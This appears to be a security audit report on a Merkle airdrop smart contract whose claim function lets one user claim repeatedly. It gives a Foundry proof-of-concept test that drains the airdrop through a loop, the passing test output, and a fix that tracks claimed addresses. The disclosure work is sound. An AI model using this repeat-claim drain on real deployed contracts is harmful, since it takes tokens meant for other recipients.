Summary
A single user can claim all token which will ruin the airdrop
Vulnerability Details
claim
function in the MerkleAirdrop
smart contract do not have a check if a user has already claimed or not. This leads to a single user claiming repeatedly to claim all available tokens.
This approach makes airdrop useless and unfair towards other users. This can be simply fixed by adding a mapping to keep track if a user has already claimed or not.
POC
In existing test file, add following test function
function testSingleUserCanClaimAllTokens () public {
uint256 startingBalance = token.balanceOf(collectorOne);
vm.deal(collectorOne, 0.1 ether);
vm.startPrank(collectorOne);
for (uint i=0; i<4; ++i){
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
}
vm.stopPrank();
uint256 endingBalance = token.balanceOf(collectorOne);
assertEq(endingBalance - startingBalance, amountToSend);
}
then run forge test --mt testSingleUserCanClaimAllTokens --zksync
in terminal and it will return the following results
[⠊] Compiling...
[⠰] Compiling 1 files with 0.8.24
[⠔] Solc 0.8.24 finished in 1.40s
Compiler run successful!
Ran 1 test for test/MerkleAirdropTest.t.sol:MerkleAirdropTest
[PASS] testSingleUserCanClaimAllTokens() (gas: 115129)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.28ms (277.42µs CPU time)
Ran 1 test suite in 5.20ms (1.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Impact
A single beneficiary can drain the whole airdrop tokens.
Tools Used
Manual Review, Foundry
Recommendations
Add a mapping to fix the issue as shown below.
/// existing code
+ mapping (address => bool) public userHasClaimed;
+ error AlreadyClaimed();
/// existing code
function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
+ if(userHasClaimed[account]){
+ revert AlreadyClaimed();
+ }
if (msg.value != FEE) {
revert MerkleAirdrop__InvalidFeeAmount();
}
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert MerkleAirdrop__InvalidProof();
}
+ userHasClaimed[account] = true;
emit Claimed(account, amount);
i_airdropToken.safeTransfer(account, amount);
}